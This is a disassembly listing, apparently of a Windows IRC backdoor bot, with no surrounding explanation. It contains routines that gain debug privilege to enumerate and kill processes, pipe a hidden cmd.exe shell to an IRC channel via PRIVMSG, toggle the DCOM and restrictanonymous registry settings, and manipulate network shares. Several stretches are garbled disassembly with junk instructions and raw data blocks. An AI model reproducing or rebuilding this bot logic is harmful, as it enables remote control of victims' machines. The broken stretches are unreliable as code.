call dword_4D11AC ; LookupPrivilegeValueA
test eax, eax
jz short loc_419F37
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_419F20
or [ebp+var_8], 2
jmp short loc_419F24
; ---------------------------------------------------------------------------
loc_419F20: ; CODE XREF: sub_419EDA+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_419F24: ; CODE XREF: sub_419EDA+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_4D125C ; AdjustTokenPrivileges
mov esi, eax
loc_419F37: ; CODE XREF: sub_419EDA+32j
push [ebp+var_4]
call dword_42706C ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_419EDA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419F45 proc near ; CODE XREF: .nsp0:00409352p
; sub_41A174+74p ...
var_554 = byte ptr -554h
var_354 = dword ptr -354h
var_350 = byte ptr -350h
var_234 = byte ptr -234h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_128 = dword ptr -128h
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 554h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_4D1210, ebx
lea edi, [ebp+var_12C]
mov [ebp+var_130], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_350]
mov [ebp+var_354], ebx
rep stosd
jz loc_41A144
cmp dword_4D11F4, ebx
jz loc_41A144
cmp dword_4D1104, ebx
jz loc_41A144
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419EDA
pop ecx
pop ecx
push ebx
push 0Fh
call dword_4D1210 ; CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_41A137
lea eax, [ebp+var_130]
mov [ebp+var_130], 128h
push eax
push edi
call dword_4D11F4 ; Process32First
mov esi, dword_42706C
test eax, eax
jz loc_41A132
lea eax, [ebp+var_130]
push eax
push edi
call dword_4D1104 ; Process32Next
test eax, eax
jz loc_41A132
mov edi, dword_427084
mov ebx, 1F0FFFh
loc_41A009: ; CODE XREF: sub_419F45+1E5j
xor eax, eax
cmp [ebp+arg_10], eax
jz short loc_41A070
mov [ebp+var_4], offset off_441958
loc_41A017: ; CODE XREF: sub_419F45+F3j
mov eax, [ebp+var_4]
push dword ptr [eax]
lea eax, [ebp+var_10C]
push eax
call dword_427188 ; lstrcmpiA
test eax, eax
jz short loc_41A03F
add [ebp+var_4], 4
cmp [ebp+var_4], offset dword_4419B8
jl short loc_41A017
jmp loc_41A118
; ---------------------------------------------------------------------------
loc_41A03F: ; CODE XREF: sub_419F45+E6j
push [ebp+var_128]
push 0
push ebx
call edi ; dword_427084
test eax, eax
mov [ebp+var_4], eax
jz loc_41A118
push 0
push eax
call near ptr 0B40000h
push ss
test eax, eax
jnz loc_41A118
loc_41A066: ; CODE XREF: sub_419F45+1B9j
push [ebp+var_4]
call esi ; dword_42706C
jmp loc_41A118
; ---------------------------------------------------------------------------
loc_41A070: ; CODE XREF: sub_419F45+C9j
cmp [ebp+arg_C], eax
jnz loc_41A103
cmp [ebp+arg_4], eax
jz loc_41A118
push [ebp+var_128]
push 8
call dword_4D1210 ; CreateToolhelp32Snapshot
cmp [ebp+arg_14], 0
mov [ebp+var_4], eax
mov [ebp+var_354], 224h
jz short loc_41A0C3
lea ecx, [ebp+var_354]
push ecx
push eax
call dword_4D10B0 ; Module32First
push [ebp+var_128]
test eax, eax
jz short loc_41A0C9
lea eax, [ebp+var_234]
jmp short loc_41A0CF
; ---------------------------------------------------------------------------
loc_41A0C3: ; CODE XREF: sub_419F45+15Cj
push [ebp+var_128]
loc_41A0C9: ; CODE XREF: sub_419F45+174j
lea eax, [ebp+var_10C]
loc_41A0CF: ; CODE XREF: sub_419F45+17Cj
push eax
lea eax, [ebp+var_554]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_41BF36
add esp, 10h
lea eax, [ebp+var_554]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 14h
jmp loc_41A066
; ---------------------------------------------------------------------------
loc_41A103: ; CODE XREF: sub_419F45+12Ej
push [ebp+arg_C]
lea eax, [ebp+var_10C]
push eax
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz short loc_41A14B
loc_41A118: ; CODE XREF: sub_419F45+F5j
; sub_419F45+10Aj ...
lea eax, [ebp+var_130]
push eax
push [ebp+var_8]
call dword_4D1104 ; Process32Next
test eax, eax
jnz loc_41A009
xor ebx, ebx
loc_41A132: ; CODE XREF: sub_419F45+9Dj
; sub_419F45+B3j
push [ebp+var_8]
call esi ; dword_42706C
loc_41A137: ; CODE XREF: sub_419F45+77j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419EDA
pop ecx
pop ecx
loc_41A144: ; CODE XREF: sub_419F45+3Aj
; sub_419F45+46j ...
xor eax, eax
loc_41A146: ; CODE XREF: sub_419F45+22Dj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41A14B: ; CODE XREF: sub_419F45+1D1j
push [ebp+var_128]
push 0
push ebx
call edi ; dword_427084
push [ebp+var_8]
mov edi, eax
call esi ; dword_42706C
push 0
push edi
call near ptr 0B40000h
das
test eax, eax
jnz short loc_41A16F
push edi
call esi ; dword_42706C
jmp short loc_41A144
; ---------------------------------------------------------------------------
loc_41A16F: ; CODE XREF: sub_419F45+223j
push 1
pop eax
jmp short loc_41A146
sub_419F45 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A174 proc near ; DATA XREF: .nsp0:0040419Do
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset unk_441B58
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_41BF36
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_41A1D3
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_4099D2
add esp, 14h
loc_41A1D3: ; CODE XREF: sub_41A174+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_419F45
add esp, 18h
test eax, eax
jnz short loc_41A1FB
push offset unk_441B34
jmp short loc_41A200
; ---------------------------------------------------------------------------
loc_41A1FB: ; CODE XREF: sub_41A174+7Ej
push offset unk_441B10
loc_41A200: ; CODE XREF: sub_41A174+85j
lea eax, [ebp+var_298]
push eax
call sub_41BF36
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_41A233
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_4099D2
add esp, 14h
loc_41A233: ; CODE XREF: sub_41A174+9Dj
lea eax, [ebp+var_298]
push eax
call sub_4157A6
push [ebp+var_14]
call sub_40B32A
pop ecx
pop ecx
push esi
call near ptr 0B40000h
in eax, 5Fh
pop esi
sub_41A174 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41A252 proc near ; CODE XREF: .nsp0:004092F0p
; sub_40B149+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
call near ptr 0B40000h
sub ecx, [ebx+74F685F0h]
push ss
push 0
push esi
call near ptr 0B40000h
push cs
test eax, eax
jnz short loc_41A284
push esi
xor edi, edi
call dword_42706C ; CloseHandle
loc_41A284: ; CODE XREF: sub_41A252+27j
mov eax, edi
pop edi
pop esi
retn
sub_41A252 endp
; ---------------------------------------------------------------------------
push esi
xor esi, esi
loc_41A28C: ; CODE XREF: .nsp0:0041A2A7j
push 1
push esi
push esi
push esi
push esi
push esi
call sub_419F45
add esp, 18h
push dword_441954
call dword_427064 ; Sleep
jmp short loc_41A28C
; =============== S U B R O U T I N E =======================================
sub_41A2A9 proc near ; CODE XREF: sub_41A311+7Ep
; .nsp0:0041A4F9p
mov eax, dword_4E1478
push esi
mov esi, dword_42706C
cmp eax, 0FFFFFFFFh
jz short loc_41A2BD
push eax
call esi ; dword_42706C
loc_41A2BD: ; CODE XREF: sub_41A2A9+Fj
mov eax, dword_4E1480
cmp eax, 0FFFFFFFFh
jz short loc_41A2CA
push eax
call esi ; dword_42706C
loc_41A2CA: ; CODE XREF: sub_41A2A9+1Cj
mov eax, dword_4E1474
cmp eax, 0FFFFFFFFh
jz short loc_41A2D7
push eax
call esi ; dword_42706C
loc_41A2D7: ; CODE XREF: sub_41A2A9+29j
pop esi
retn
sub_41A2A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A2D9 proc near ; CODE XREF: .nsp0:0040901Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_41B890
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_4E147C
call near ptr 0B40000h
mov dl, 85h
sal byte ptr [ebp+arg_0+1], 0E8h
mov eax, ds:33FFFFFFh
ror cl, 0C3h
push 1
pop eax
leave
retn
sub_41A2D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A311 proc near ; CODE XREF: .nsp0:0041A46Bp
; .nsp0:0041A4D6p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_443398
push [ebp+arg_4]
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz short loc_41A354
push 7D0h
call dword_427064 ; Sleep
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_41BF36
add esp, 10h
jmp short loc_41A36B
; ---------------------------------------------------------------------------
loc_41A354: ; CODE XREF: sub_41A311+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_2 ; "%s"
push eax
call sub_41BF36
add esp, 0Ch
loc_41A36B: ; CODE XREF: sub_41A311+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4D1240 ; send
test eax, eax
jg short loc_41A394
call sub_41A2A9
loc_41A394: ; CODE XREF: sub_41A311+7Cj
xor eax, eax
leave
retn
sub_41A311 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_4E1484
loc_41A3B0: ; CODE XREF: .nsp0:0041A411j
; .nsp0:0041A473j
push esi
lea eax, [ebp-20Ch]
push edi
push eax
call sub_41BC40
add esp, 0Ch
lea eax, [ebp-4]
push edi
push edi
push eax
lea eax, [ebp-20Ch]
push esi
push eax
push dword_4E1478
call near ptr 0B40000h
add dword ptr [ebp-647BF040h], 39000000h ; CODE XREF: .nsp0:0041A3E4j
jge short near ptr loc_41A3DA+8
jnz short loc_41A413
lea eax, [ebp-8]
push eax
push dword_4E1474
call near ptr 0B40000h
loc_41A3F7: ; CODE XREF: .nsp0:0041A3FDj
add al, [ebp-7EF28B40h]
jge short loc_41A3F7
add eax, [ecx]
; ---------------------------------------------------------------------------
db 2 dup(0), 0Fh
; ---------------------------------------------------------------------------
test [ecx+6A000000h], ebx
or bh, bh
adc eax, offset dword_427064
jmp short loc_41A3B0
; ---------------------------------------------------------------------------
loc_41A413: ; CODE XREF: .nsp0:0041A3E6j
xor eax, eax
cmp [ebp-4], edi
jbe short loc_41A42A
loc_41A41A: ; CODE XREF: .nsp0:0041A428j
cmp byte ptr [ebp+eax-20Ch], 0Ah
jz short loc_41A478
inc eax
cmp eax, [ebp-4]
jb short loc_41A41A
loc_41A42A: ; CODE XREF: .nsp0:0041A418j
mov [ebp-4], esi
loc_41A42D: ; CODE XREF: .nsp0:0041A47Cj
push esi
lea eax, [ebp-20Ch]
push edi
push eax
call sub_41BC40
add esp, 0Ch
lea eax, [ebp-0Ch]
push edi
push eax
push dword ptr [ebp-4]
lea eax, [ebp-20Ch]
push eax
push dword_4E1478
call dword_4270E8 ; ReadFile
test eax, eax
jz short loc_41A4CA
lea eax, [ebp-20Ch]
push eax
push ebx
push dword_4E14B8
call sub_41A311
add esp, 0Ch
jmp loc_41A3B0
; ---------------------------------------------------------------------------
loc_41A478: ; CODE XREF: .nsp0:0041A422j
inc eax
mov [ebp-4], eax
jmp short loc_41A42D
; ---------------------------------------------------------------------------
dw 0E068h
dd 5300441Bh, 14B835FFh, 82E8004Eh, 0FFFFFFFEh, 93E80875h
dd 83FFFF0Eh, 16A10C4h, 725B5FE8h, 2E8CA00h, 68FFFFFEh
dd 441BB8h, 0B835FF53h, 0E8004E14h, 0FFFFFE59h, 0E80875FFh
dd 0FFFF0E6Ah, 5710C483h, 725B37E8h
db 0, 93h
; ---------------------------------------------------------------------------
loc_41A4CA: ; CODE XREF: .nsp0:0041A45Bj
push offset unk_441B88
push ebx
push dword_4E14B8
call sub_41A311
push dword ptr [ebp+8]
call sub_40B32A
add esp, 10h
push edi
call near ptr 0B40000h
loc_41A4EC: ; CODE XREF: .nsp0:00403FCFp
mov bh, 55h
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_41A2A9
xor esi, esi
lea eax, [ebp-178h]
push esi
push eax
push 104h
push esi
push offset aCmd_exe ; "cmd.exe"
push esi
call dword_4D12AC ; SearchPathA
test eax, eax
jz near ptr loc_41A5E2+5
push 1
lea eax, [ebp-1Ch]
pop ebx
mov edi, dword_427100
push esi
push eax
lea eax, [ebp-0Ch]
mov dword ptr [ebp-1Ch], 0Ch
push eax
lea eax, [ebp-10h]
push eax
mov [ebp-14h], ebx
mov [ebp-18h], esi
call edi ; dword_427100
test eax, eax
jz near ptr loc_41A5E2+5
lea eax, [ebp-1Ch]
push esi
push eax
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
call edi ; dword_427100
test eax, eax
jz near ptr loc_41A5E2+5
mov edi, dword_4270FC
push 3
push esi
push esi
push offset dword_4E147C
call edi ; dword_4270FC
push eax
push dword ptr [ebp-8]
call edi ; dword_4270FC
push eax
call near ptr 0B40000h
cmpsd
test eax, eax
jz short near ptr loc_41A5E2+5
push 10h
lea eax, [ebp-2Ch]
push esi
push eax
call sub_41BC40
push 44h
lea eax, [ebp-74h]
pop edi
push edi
push esi
push eax
call sub_41BC40
mov eax, [ebp-4]
add esp, 18h
mov [ebp-3Ch], eax
mov eax, [ebp-0Ch]
mov [ebp-38h], eax
mov [ebp-34h], eax
lea eax, [ebp-2Ch]
mov [ebp-74h], edi
push eax
lea eax, [ebp-74h]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset byte_443398
push esi
lea eax, [ebp-178h]
push ebx
push eax
mov dword ptr [ebp-48h], 101h
mov [ebp-44h], si
call near ptr 0B40000h
loc_41A5E2: ; CODE XREF: .nsp0:0041A51Cj
; .nsp0:0041A549j ...
pop dword ptr [ebp-7CF78A40h]
enter 0FFFFE9FFh, 0AEh
; ---------------------------------------------------------------------------
dd 0FF000000h, 3D8BFC75h, 42706Ch, 458BD7FFh, 0D875FFF0h
dd 4E1478A3h, 0F8458B00h, 4E1480A3h, 0D4458B00h, 4E1474A3h
dd 8BD7FF00h, 75390845h, 14B8A30Ch, 574004Eh, 0EB0C75FFh
dd 84685301h, 0E8004E14h, 1902h, 6A565959h, 1C44680Ah
dd 0CBE80044h, 8BFFFF09h, 0DC4D8BF8h, 234FF69h, 0C4830000h
dd 288F890Ch, 8D004441h, 5651D04Dh, 0A3986850h, 56560041h
dd 707C15FFh, 0C63B0042h, 41348789h, 27750044h, 708C15FFh
dd 8D500042h, 0FFFC8885h, 1C1068FFh, 0E8500044h, 18AAh
dd 0FC88858Dh, 0E850FFFFh, 0FFFFB10Eh, 3310C483h, 5B5E5FC0h
; ---------------------------------------------------------------------------
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A6A2 proc near ; DATA XREF: .nsp0:00404902o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_41A6E9
call sub_41A702
jmp short loc_41A6EE
; ---------------------------------------------------------------------------
loc_41A6E9: ; CODE XREF: sub_41A6A2+3Ej
call sub_41AA26
loc_41A6EE: ; CODE XREF: sub_41A6A2+45j
add esp, 10h
push [ebp+var_14]
call sub_40B32A
pop ecx
push 0
call near ptr 0B40000h
scasd
sub_41A6A2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A702 proc near ; CODE XREF: sub_41A6A2+40p
; .nsp0:0041AD45p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_4D12C0, edi
jnz loc_41A834
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4D1260 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A78D
mov ax, word_4409E4
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4D1214 ; RegSetValueExA
test eax, eax
jz short loc_41A76F
push offset dword_441EE8
jmp short loc_41A774
; ---------------------------------------------------------------------------
loc_41A76F: ; CODE XREF: sub_41A702+64j
push offset dword_441EC8
loc_41A774: ; CODE XREF: sub_41A702+6Bj
lea eax, [ebp+var_214]
push eax
call sub_41BF36
pop ecx
pop ecx
push [ebp+var_4]
call dword_4D11CC ; RegCloseKey
jmp short loc_41A7A0
; ---------------------------------------------------------------------------
loc_41A78D: ; CODE XREF: sub_41A702+36j
lea eax, [ebp+var_214]
push offset dword_441E98
push eax
call sub_41BF36
pop ecx
pop ecx
loc_41A7A0: ; CODE XREF: sub_41A702+89j
cmp [ebp+arg_C], edi
jnz short loc_41A7BF
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 14h
loc_41A7BF: ; CODE XREF: sub_41A702+A1j
lea eax, [ebp+var_214]
push eax
call sub_4157A6
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4D1260 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A82D
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_4D1214 ; RegSetValueExA
test eax, eax
jz short loc_41A80F
push offset dword_441E48
jmp short loc_41A814
; ---------------------------------------------------------------------------
loc_41A80F: ; CODE XREF: sub_41A702+104j
push offset dword_441E14
loc_41A814: ; CODE XREF: sub_41A702+10Bj
lea eax, [ebp+var_214]
push eax
call sub_41BF36
pop ecx
pop ecx
push [ebp+var_4]
call dword_4D11CC ; RegCloseKey
jmp short loc_41A847
; ---------------------------------------------------------------------------
loc_41A82D: ; CODE XREF: sub_41A702+E2j
push offset dword_441DD8
jmp short loc_41A839
; ---------------------------------------------------------------------------
loc_41A834: ; CODE XREF: sub_41A702+13j
push offset dword_441DA8
loc_41A839: ; CODE XREF: sub_41A702+130j
lea eax, [ebp+var_214]
push eax
call sub_41BF36
pop ecx
pop ecx
loc_41A847: ; CODE XREF: sub_41A702+129j
cmp [ebp+arg_C], edi
jnz short loc_41A866
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 14h
loc_41A866: ; CODE XREF: sub_41A702+148j
lea eax, [ebp+var_214]
push eax
call sub_4157A6
cmp dword_4D12E8, edi
pop ecx
jnz loc_41A9E1
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_41A889: ; CODE XREF: sub_41A702+2C3j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_4D1134
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_41A926
cmp eax, 0EAh
jz short loc_41A926
mov esi, offset off_441C70
loc_41A8BA: ; CODE XREF: sub_41A702+21Dj
push dword ptr [esi]
push edi
call sub_419510
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_41A8D1
push offset dword_441D84
jmp short loc_41A8D6
; ---------------------------------------------------------------------------
loc_41A8D1: ; CODE XREF: sub_41A702+1C6j
push offset dword_441D58
loc_41A8D6: ; CODE XREF: sub_41A702+1CDj
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41C030
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41A909
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 14h
loc_41A909: ; CODE XREF: sub_41A702+1EBj
lea eax, [ebp+var_214]
push eax
call sub_4157A6
add esi, 8
pop ecx
cmp esi, offset dword_441C90
jl short loc_41A8BA
jmp loc_41A9BE
; ---------------------------------------------------------------------------
loc_41A926: ; CODE XREF: sub_41A702+1AAj
; sub_41A702+1B1j
mov esi, [ebp+var_8]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_41A9B5
loc_41A935: ; CODE XREF: sub_41A702+2AFj
mov edi, [esi]
push edi
call sub_41DEE7
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_41A9AA
push edi
call sub_4193FD
push eax
push 0
call sub_419510
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A964
push offset dword_441D34
jmp short loc_41A969
; ---------------------------------------------------------------------------
loc_41A964: ; CODE XREF: sub_41A702+259j
push offset dword_441D08
loc_41A969: ; CODE XREF: sub_41A702+260j
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41C030
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A99D
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 14h
loc_41A99D: ; CODE XREF: sub_41A702+27Fj
lea eax, [ebp+var_214]
push eax
call sub_4157A6
pop ecx
loc_41A9AA: ; CODE XREF: sub_41A702+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_41A935
xor edi, edi
loc_41A9B5: ; CODE XREF: sub_41A702+22Dj
push [ebp+var_8]
call dword_4D1280
loc_41A9BE: ; CODE XREF: sub_41A702+21Fj
cmp [ebp+var_10], 0EAh
jz loc_41A889
lea eax, [ebp+var_214]
push offset dword_441CE0
push eax
call sub_41BF36
pop ecx
pop ecx
pop ebx
jmp short loc_41A9F4
; ---------------------------------------------------------------------------
loc_41A9E1: ; CODE XREF: sub_41A702+177j
lea eax, [ebp+var_214]
push offset dword_441CB0
push eax
call sub_41BF36
pop ecx
pop ecx
loc_41A9F4: ; CODE XREF: sub_41A702+2DDj
cmp [ebp+arg_C], edi
jnz short loc_41AA12
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 14h
loc_41AA12: ; CODE XREF: sub_41A702+2F5j
lea eax, [ebp+var_214]
push eax
call sub_4157A6
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_41A702 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AA26 proc near ; CODE XREF: sub_41A6A2:loc_41A6E9p
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_4D12C0, ebx
push esi
jnz loc_41AB54
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4D1260 ; RegOpenKeyExA
test eax, eax
jnz short loc_41AAB1
mov ax, word_440A28
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4D1214 ; RegSetValueExA
test eax, eax
jz short loc_41AA93
push offset dword_442060
jmp short loc_41AA98
; ---------------------------------------------------------------------------
loc_41AA93: ; CODE XREF: sub_41AA26+64j
push offset dword_442044
loc_41AA98: ; CODE XREF: sub_41AA26+6Bj
lea eax, [ebp+var_220]
push eax
call sub_41BF36
pop ecx
pop ecx
push [ebp+var_4]
call dword_4D11CC ; RegCloseKey
jmp short loc_41AAC4
; ---------------------------------------------------------------------------
loc_41AAB1: ; CODE XREF: sub_41AA26+36j
lea eax, [ebp+var_220]
push offset dword_441E98
push eax
call sub_41BF36
pop ecx
pop ecx
loc_41AAC4: ; CODE XREF: sub_41AA26+89j
cmp [ebp+arg_C], ebx
jnz short loc_41AAE3
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 14h
loc_41AAE3: ; CODE XREF: sub_41AA26+A1j
lea eax, [ebp+var_220]
push eax
call sub_4157A6
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4D1260 ; RegOpenKeyExA
test eax, eax
jnz short loc_41AB4D
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call dword_4D1214 ; RegSetValueExA
test eax, eax
jz short loc_41AB2F
push offset dword_442004
jmp short loc_41AB34
; ---------------------------------------------------------------------------
loc_41AB2F: ; CODE XREF: sub_41AA26+100j
push offset dword_441FCC
loc_41AB34: ; CODE XREF: sub_41AA26+107j
lea eax, [ebp+var_220]
push eax
call sub_41BF36
pop ecx
pop ecx
push [ebp+var_4]
call dword_4D11CC ; RegCloseKey
jmp short loc_41AB67
; ---------------------------------------------------------------------------
loc_41AB4D: ; CODE XREF: sub_41AA26+E2j
push offset dword_441F90
jmp short loc_41AB59
; ---------------------------------------------------------------------------
loc_41AB54: ; CODE XREF: sub_41AA26+13j
push offset dword_441DA8
loc_41AB59: ; CODE XREF: sub_41AA26+12Cj
lea eax, [ebp+var_220]
push eax
call sub_41BF36
pop ecx
pop ecx
loc_41AB67: ; CODE XREF: sub_41AA26+125j
cmp [ebp+arg_C], ebx
jnz short loc_41AB86
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 14h
loc_41AB86: ; CODE XREF: sub_41AA26+144j
lea eax, [ebp+var_220]
push eax
call sub_4157A6
cmp dword_4D12E8, ebx
pop ecx
jnz loc_41ACF8
push edi
mov esi, offset off_441C70
mov edi, 200h
loc_41ABAA: ; CODE XREF: sub_41AA26+1E9j
push dword ptr [esi+4]
push dword ptr [esi]
push ebx
call sub_419464
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41ABC5
push offset dword_441F70
jmp short loc_41ABCA
; ---------------------------------------------------------------------------
loc_41ABC5: ; CODE XREF: sub_41AA26+196j
push offset dword_441F48
loc_41ABCA: ; CODE XREF: sub_41AA26+19Dj
lea eax, [ebp+var_220]
push edi
push eax
call sub_41C030
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_41ABF9
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 14h
